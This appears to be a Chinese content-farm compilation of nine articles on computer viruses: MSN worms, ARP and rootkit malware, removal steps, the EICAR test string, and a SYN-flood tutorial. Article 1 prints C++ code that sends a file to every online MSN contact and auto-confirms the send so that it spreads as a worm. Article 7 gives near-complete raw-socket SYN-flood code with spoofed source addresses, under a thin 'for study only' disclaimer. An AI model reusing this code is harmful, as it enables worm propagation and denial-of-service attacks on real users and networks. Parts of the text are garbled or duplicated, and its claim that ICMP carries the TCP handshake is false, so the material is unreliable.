欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

MSN病毒原理及测试代码

时间:2023-08-29 08:40:59 其他范文 收藏本文 下载本文

下面小编为大家带来MSN病毒原理及测试代码,本文共9篇,希望大家能够受用!

MSN病毒原理及测试代码

篇1:MSN病毒原理及测试代码

前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题,

下面是测试代码,只有通过MSN传送文件部分

CODE:

#include “stdafx.h”

#include

#include

#include “msgruaid.h” //这两个头文件就是接口的定义

#include “msgrua.h” //有兴趣的同学可以在网上找找(没找着可以找我要)

#include

int main(int argc, char* argv[])

{

IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;

IMessengerContact *MsnContact;

IMessengerContacts *MsnContacts;

IMessengerWindow *pIMsnWindow;

__MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;

VARIANT vaTemp;

BSTR bstrFileName;

char *szOpenDlg;

char szMsnWindowsClass[] = “IMWindowClass”;

char szButtonText[] = “打开(&O)”;

HWND hWnd = NULL, hBtn = NULL;

DWORD dwControlId = 0;

char szCurDir[MAX_PATH], szBuf[MAX_PATH];

CoInitialize(0); //初始化COM库

CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例

pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表

pIMessenger->get_Window((IDispatch**)&pIMsnWindow);

long nCount;

MsnContacts->get_Count(&nCount); //得到好友数

for (int i = 0; i < nCount; i++)

{

MsnContacts->Item(i, (IDispatch**)&MsnContact);

MsnContact->get_SigninName(&pbstrName); //账号

MsnContact->get_FriendlyName(&bstrFriendName); //签名

szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);

MsnContact->get_Status(&dwStatus);

if (dwStatus == MISTATUS_ONLINE) //判断是否在线

{

GetCurrentDirectory(MAX_PATH, szCurDir);

lstrcat(szCurDir, “\\”);

lstrcat(szCurDir, “TestMsn.exe”);

lstrcpy(szBuf, “发送文件给 ”);

lstrcat(szBuf, szOpenDlg);

bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);

vaTemp.vt = VT_BSTR;

vaTemp.bstrVal = pbstrName;

pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件

do

{

hWnd = FindWindow(NULL,szBuf);

hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);

& hBtn));

dwControlId <<= 16;

dwControlId |= 1;

PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));

keybd_event(VK_RETURN, 0, 0, 0);

keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);

}

MsnContact->Release;

MsnContacts->Release();

pIMessenger->Release(); //释放相关资源

CoUninitialize();

ExitProcess(0);

return 0;

}

篇2:MSN流传性感相册病毒

当即时通讯工具日益普及之时,这一聊天工具也成为众多病毒传播的主要渠道,目前,一款MSN“性感相册”蠕虫病毒就正通过MSN疯狂传播。

据介绍,该病毒会自动搜索电脑中MSN的联系用户名单,向所有的联系人随机发送带有诱惑性的英文消息,并试图传送名为“photos.zip”的压缩文件包。

反病毒专家称,这个病毒信息是动态的,因此每次显示都不一样,用户注意不要接收MSN好友发过来的可疑文件。另据专家介绍,该病毒十分隐蔽,中毒电脑无异常表现,而包含病毒的压缩包解压后即会中毒。

据了解,现在已有大量用户感染此病毒,反病毒专家提醒用户及时升级杀毒软件,或者下载各反病毒厂商推出的病毒专杀工具。

手动删除病毒方案

一、删除病毒在注册表中的启动项目

1.点击“开始”菜单,选择运行。输入“regedit.exe”启动注册表编辑器。

2.打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad项,找到名为“syshosts”一项,将其值记录下来,

3.将syshosts项删除。

4.打开注册表中的HKEY_CLASSES_ROOT\CLSID项,找到刚才记录下的项目,删除。

5.重新启动计算机。

二、删除病毒文件

1.打开“我的电脑”,选择菜单“工具”→“文件夹选项”,点击“查看”,取消“隐藏受保护的操作系统文件”前的打勾,并在“隐藏文件和文件夹”项中选择“显示所有文件和文件夹”,然后点击“确定”。同时取消掉“隐藏已知类型文件的扩展名”前的打勾,然后点击“确定”。

2.进入Windows文件夹(默认为C:\Windows),找到名为“photos.zip”的文件,将其删除。

3.进入系统文件夹(默认为C:\Windows\system32),找到名为“syshosts.dll”的文件,将其删除。

4.再次重新启动计算机,查看这两个文件是否存在,若不存在,则说明病毒已经被清除干净。

篇3:MSN照片病毒疯狂传播

瑞星截获一个通过MSN软件传播的后门病毒,并命名为MSN照片(Worm.IRC.MyPhoto.a),瑞星反病毒专家介绍说,感染该病毒之后,中毒电脑会自动向MSN好友发送英文消息,并试图传送名为photoalbum.zip的压缩文件,用户打开压缩包中的文件后就会中毒。

该病毒利用MSN向外发送病毒文件,大量消耗系统资源和网络带宽,因此对个人电脑还是企业局域网都有很大影响。同时它还会在中毒电脑里开置后门,窃取个人资料,从而使用户面临更多的安全威胁。目前已有数百用户向瑞星求助,瑞星客户服务中心的专家认为,该病毒的传播速度会继续增快,感染用户数可能会呈几何级数增长,

据瑞星反病毒专家介绍,此病毒与两年前肆虐一时的MSN性感烤鸡病毒极其相似。由于MSN软件相对安全,使得很多用户对于MSN类病毒缺乏警惕,这也使得MSN照片、性感烤鸡等病毒传播速度快、感染范围广。

瑞星技术部门对该病毒的分析表明,中毒用户会向MSN好友发送Heywannaseemynewphotoalbum?(嘿,想看看我的新照片集吗?)、heyyougotaphotoalbum?anywaysheresmynewphotoalbum:)acceptk?(嘿,收到我的新照片没有?这是我的新照片,收一下!)等英文消息,并会传送photoalbum.zip压缩文件。如果用户接收并运行该文件,就会中毒。

瑞星反病毒专家提醒广大网民,针对MSN照片病毒,用户应采取如下措施:不要轻易通过MSN接收和运行陌生文件;尽快更新自己的杀毒软件版本,瑞星杀毒软件19.16.12版本可以彻底清除此病毒。

篇4:黑金ARP病毒原理

ARP欺骗攻击历史极为悠久,可以说与以太网技术同时诞生,ARP不安全的协议机制给了攻击者实施恶意欺骗攻击的机会, 可以通过发送虚假ARP数据将被攻击用户本地的ARP缓存内容恶意涂改,从而扰乱局域网正常的通讯秩序产生一系列通讯故障。

早期的ARP欺骗攻击,多用来干扰用户正常通讯(如某些网管类软件利用ARP攻击来限制指定计算机网速甚至可以完全切断指定计算机网络通信)或是被 用来欺骗全网通信,企图Sniffer嗅探网络数据包,伺机窃取有价值的信息。

而近年来的黑金ARP病毒欺骗攻击其目的则和以往的单纯ARP欺骗病毒完全不同,明显表露出其木马化的本质。以黑金ARP病毒Backdoor.Win32.ARP.g为例,该病毒的特别之处就是在原有ARP欺骗基础上,捆绑正常的网络分析软件WinPcap,试图欺骗传统杀毒软件,利用WinPcap提供的网络分析功能,劫持网络内所有HTTP通讯,并且强行在HTTP数据包中插入带有病毒程序的网页链接,使得局域网内任意一个用户在访问正常网页时,都会自动下载木马病毒,

也就是说,只要局域网内有一台计算机感染了该木马,局域网内所有的计算机就都有可能被感染上木马病毒。可见,黑金ARP对局域网危害极大,正可谓是一机中毒,全网“遇难”。理论上如果网内只有一台计算机中了黑金ARP,那么局域网虽受ARP欺骗影响,但仍尚可维持通讯。但是实际上前述的假设在现实中是不成立的,因为只要有一台计算机中毒,局域网内很快就会变为多台计算机同时中毒,而多台计算机同时发起ARP欺骗的直接后果就是网络内计算机互相欺骗,局域网全网通讯瘫痪。

清除黑金ARP病毒,首先要做的就是要彻底清除其毒源,换句话说如果将病毒源连根拔起清除彻底,局域网自然而然就会恢复正常。B公司的网管也明白这个道理,也尝试安装过国内著名杀毒软件力图解决这个问题,但是收效甚微,扫描时一个病毒也没有报出来。

其实事情是很简单的,所有的黑金ARP病毒都必然具备的一个行为特点就是乱发ARP欺骗数据包,因此采用行为分析技术的主动防御软件对其会有很好地清除能力。主动防御软件根据行为分析一旦发现有程序试图乱发ARP欺骗数据包,立即将其查杀即可。

篇5:rootkits病毒原理及解决办法

Rootkits病毒主要分为两大类:

第一种是进程注入式Rootkits,另一种是驱动级Rootkits,第一种Rootkits技术通常通过释放动态链接库(DLL)文件,并将它们注入到可执行文件及系统服务进程中运行,阻止操作系统及应用程序对被感染的文件进行访问。

第二种Rootkits技术比较复杂,在系统启动时Rootkits病毒以加载驱动程序的方式,先于杀毒软件被装入系统,得到合法的操作系统控制权。当杀毒软件通过系统API及NTAPI访问文件系统时进行监视,一但发现被Rootkits感染的文件时返回一个虚假的结果,从而阻止操作系统及应用程序对被感染的文件进行访问。

第一种Rootkits病毒较好处理,通过使用杀毒软件可以轻松清除,而且不会造成任何严重的后果。

第二种Rootkits病毒,由于其以驱动程序装入系统被认为是驱动的一部分,现阶段还没有一个较好的解决办法。少数杀毒软件在处理使用此类Rootkits病毒时甚至会出现漏查漏杀的现象,大多数杀毒软件会发现此类病毒,但往往清除失败,某些笔者在实际工作中遇到过几次问题,现加以总结把解决方法与大家分享:

第一个例子出现的现象是操作系统能够正常运行,但杀毒软件无法启动,在没有任何可疑前后台进程的状况下,CPU占用率很高,毫无疑问系统被病毒感染,由于系统本身无法清除病毒,只好把该机器硬盘摘下,挂入另一没有被病毒感染的操作系统以从盘方式进行杀毒,由于病毒盘上所有文件在干净操作系统中只作为普通文件处理,病毒很快就被清除,

问题解决。

第二个例子情况更加严重一些,系统在进入桌面后即出现蓝屏,询问操作人员后得知,前一天杀毒软件报告病毒,杀毒重启后系统即出现桌面蓝屏,排除因为硬件及程序问题后,判断是rootkits病毒破坏操作系统中某启动文件引起,挂从盘杀毒后果然发现病毒,但作为操作系统主盘引导,依然出现进入桌面即蓝屏的现象,根据经验,考虑到rootkits病毒可能首先破坏杀毒软件,而且原杀毒软件已经无法启动,于是依旧挂从盘利用其他操作系统强行删除原系统的杀毒软件文件,再重新装入原系统,问题解决,重新装载杀毒软件,查杀后无病毒。

根据上面两个例子,笔者总结出的特点是Rootkits病毒不仅伪装性强,彻底清除困难,而且对操作系统会造成一定程度的破坏。

篇6:混合型病毒原理病毒防治

所谓混合型,即既能感染引导区,又能感染文件的病毒,但并非简单 的将文件型病毒和引导型病毒简单的加在一起,其中有一个转换过程,这是最关键的。

一般采取以下手法:文件中的病毒执行时将病毒写入引导区,这时很容易理解的。染毒硬盘启动时,用引导型病毒的方法驻留内存, 但此时dos并未加载,无法修改int21,也就无法感染文件,可以用这样的 办法,修改int8,保存int 21目前的地址,用int 8服务程序监测int 21 的地址是否改变,若改变则说明dos已加载,则可修改int 21指向病毒传染 段,

以上是混合型病毒关键之处。

关 键 字:病毒防治

篇7:洪水攻击原理及代码实现全攻略(附源代码)病毒防范

声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任,

下载本文源代码和例程

一、什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢?

假设有两台机器A和B。A使用TCP协议连接B,在建立连接之前,A先发一个ICMP报文(就是一个数据包)给B,B在接收到这个数据包后,利用ICMP报文中的源地址(也就是A的IP)再给A发一个ICMP报文,A在接到这个ICMP报文后,又给B发了一个ICMP报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:

图1 TCP连接的三次握手

问题就出在第二次握手上。如果是ICMP的报文的话,ICMP的源地址应该是A的IP,但如果是一个非法的ICMP报文的话,ICMP的源地址可能并不是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任。

下载本文源代码和例程

一、什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢?

假设有两台机器A和B。A使用TCP协议连接B,在建立连接之前,A先发一个ICMP报文(就是一个数据包)给B,B在接收到这个数据包后,利用ICMP报文中的源地址(也就是A的IP)再给A发一个ICMP报文,A在接到这个ICMP报文后,又给B发了一个ICMP报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:

图1 TCP连接的三次握手

问题就出在第二次握手上。如果是ICMP的报文的话,ICMP的源地址应该是A的IP,但如果是一个非法的ICMP报文的话,ICMP的源地址可能并不是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

三、洪水攻击的实现

在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

} IP_HEADER;

这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size )

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >>16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

} psd_header;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres;//4位首部长度/6位保留字

unsigned char th_flag;//6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

} TCP_HEADER;

在以上的准备工作都完成后,就可以写main函数中的内容了,

下面是程序的定义部分。

#include

#include

#include

#include

#define SEQ 0x28376839

#define SYN_DEST_IP “127.0.0.1”//被攻击的默认IP

#define FAKE_IP “10.168.150.1” //伪装IP的起始值,可以是任意IP

#define STATUS_FAILED 0xFFFF//错误返回值

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=,SendSEQ=0;

char SendBuf[128]; // 每个数据包是128个字节

char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP

memset(DestIP, 0, 4);

// 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP

if(argc < 2)

strcpy(DestIP, SYN_DEST_IP);

else

strcpy(DestIP, argv[1]);

// 以下是声明Socket变量和相应的数据结构

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

… …

}下一步就是初始化Raw Socket

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本

{

fprintf(stderr,“WSAStartup failed: %d\n”,ErrorCode);

ExitProcess(STATUS_FAILED);

} SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息

{

fprintf(stderr,“WSASocket failed: %d\n”,WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

第二步就是填充刚才定义的那些数据结构

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if (ErrorCode==SOCKET_ERROR)printf(“Set IP_HDRINCL Error!\n”);

__try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR)

{

fprintf(stderr,“Failed to set send TimeOut: %d\n”,WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)

ip_header.ident=1; //16位标识

ip_header.frag_and_flags=0; //3位标志位

ip_header.ttl=128; //8位生存时间TTL

ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)

ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址

ip_header.destIP=inet_addr(DestIP); //32位目的IP地址

//填充TCP首部

tcp_header.th_sport=htons(7000);//源端口号

tcp_header.th_dport=htons(8080);//目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号

tcp_header.th_ack=0; //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位

tcp_header.th_flag=2; //SYN 标志

tcp_header.th_win=htons(16384); //窗口大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)

psd_header.saddr=ip_header.sourceIP;//源地址

psd_header.daddr=ip_header.destIP;//目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;//协议类型

psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度

最后一步是通过一个while循环发送向目标机器发送报文

while(1)

{

//每发送10000个报文输出一个标示符

printf(“.”);

for(counter=0;counter<10000;counter++){

if(SendSEQ++==65536) SendSEQ=1;//序列号循环

//更改IP首部

ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号

tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf(“\nSend Error:%d\n”,GetLastError());

}

}

到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。

图2 攻击软件运行界面

篇8:揭开所谓“杀毒软件测试代码”的真实面纱病毒防范

最近,不少论坛盛传着一段像是魔咒一样的代码,并称这段代码可以用来测试杀毒软件的优劣,

具体的测试文章如下:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

把上面这段代码复制到记事本里,保存为文本文件,然后静观杀毒软件之变。特等:复制完代码后便提示内存有病毒;优等:刚保存完就提示病毒(或直接删除);中等:保存后几秒提示病毒(或直接删除);下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除);劣等:无论怎么扫描都无法提示病毒(或直接删除)。

确实,如果把这段代码保存下来,杀毒软件是会报告发现病毒的。瑞星报“EICAR-Test-File(EICAR标准测试文件)”。

这段代码究竟是什么?

很多朋友都担心这段短小的代码会给计算机带来危害,其实不会。它并不是病毒,不具有任何破坏性。它确实是一段测试用的代码,是由EICAR(EICAR是European Institute for Computer Antivirus Research的简写,即欧洲计算机病毒研究协会)发布的,运行后会显示“X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*”字样,

起初,人们安装杀毒软件后,没有办法测试其是否真的安装正确。如果手头没有病毒样本,就无法测试杀毒软件能否扫描到病毒,实时监控程序发现病毒以后是否能够拦截病毒不让其运行。而即使有病毒样本,如果用其进行测试,也会存在较大风险。

于是,各个杀毒软件厂商都将欧洲计算机病毒研究协会的这段代码加入到自己的反病毒库当中。这样用户就可以用这样的一个无害的测试文件来测试自己的杀毒软件是否正确安装,并且开启了防护。

虽然这确实是一段测试代码,但用这段代码来判断杀毒软件的优劣是不科学的。不同的杀毒软件有不同的监控策略。比如有的杀毒软件会监控内存,当这段代码刚刚被复制,还没有保存文件时就会报警。这样做固然比较灵敏,但监控内存也会造成系统效率的下降。再比如,有些杀毒软件不会对文本文件进行实时监视。因此,把这段代码保存成文本的时候不会报警。但如果把它存成COM或EXE的名字,就会立刻弹出警告窗口。

杀毒软件实时监控的策略不同,有的偏重灵敏性,有的偏重节省系统资源,所以表现出的现象也有差异。但实时监控最终都要实现阻止病毒运行的目的。因此,这段代码并不能用来测试杀毒软件的好坏,只能帮你检查杀毒软件是否正常工作了。

篇9:MSN小尾巴病毒分析及清除方案

病毒种类:Worm(蠕虫病毒)

具破坏性:会

别名:MSN小丑,I-Worm/MsnFunny,烦恼,Worm.MSNFunny,MSN小尾巴,MSN-Worm.Funner,MSN骗子,Worm.msn.funny说明:在运行时,该蠕虫病毒会在Windows和Windows系统文件夹中生成多个自身拷贝,病毒会在注册表中创建自启动项目,以使自身可在每次系统启动时执行。在Windows98和ME系统中,病毒还会修改SYSTEM.INI文件。病毒会利用MSN向用户的MSN联系人发送自身拷贝。病毒会修改HOSTS文件。病毒在HOSTS文件中添加特定行,以阻止用户访问特定网站。该病毒可运行在Windows95,98,ME,NT,2000和XP系统中。解决方案:自动清除方法下载专杀工具,并在下载后解压缩到任意目录,执行其中的tsc.exe进行自动清除。手工清除方法一、重启进入安全模式:Windows98/ME系统:重启机器按CTRL键直至出现Windows启动菜单选择安全模式选项,按Enter。WindowsNT系统(VGA模式)点击开始>设置>控制面板。

双击系统图标。

点击启动/关闭选项卡。

将显示列表选项设置为10秒,点击OK保存更改。

关闭系统然后重启。

选择启动菜单中的VGA模式,

注意:要删除启动列表菜单,将显示列表值改为0即可。Windows2000系统重启机器当看到屏幕底部出现启动Windows横条时,按F8键。从Windows2000高级选项菜单中,选择安全模式选项,按回车键。WindowsXP系统重启机器当提示出现时,按F8键。

如果WindowsXPProfessional启动时没有出现按键选择操作系统启动菜单,重启机器。在Power-OnSelfTest(POST)后,按F8。

从Windows高级选项菜单中选择安全模式,按回车。二、删除注册表中的自启动项目从注册表中删除自动运行项目来阻止恶意程序在启动时执行。Windows98和ME系统打开注册表编辑器。点击开始>运行,输入REGEDIT,按Enter在左边的面板中,双击:HKEY_LOCAL_MACHINE>Software>Microsoft>Windows>CurrentVersion>Run在右边的面板中,找到并删除如下项目:MMSystem=“%\Windows%\rundll32.exe”%System%\mmsystem.dll“”,RunDll32"(注意:%System%是Windows的系统文件夹,在Windows95,98,和ME系统中通常是C:\Windows\System,在WindowsNT和2000系统中是C:\WINNT\System32,在WindowsXP系统中是C:\Windows\System32。

%Windows%是Windows文件夹,通常就是C:\Windows或C:\WINNT。)

PC病毒原理:感染潜伏繁殖发作

msn签名

测试驱动开发与遗留代码的问题

注塑工艺流程及原理

爆笑MSN签名

msn经典签名

病毒作文

求职信病毒

浅谈服务器或网站被植入病毒代码的原因WEB安全

硬盘及内存检测病毒绝招

《MSN病毒原理及测试代码(锦集9篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档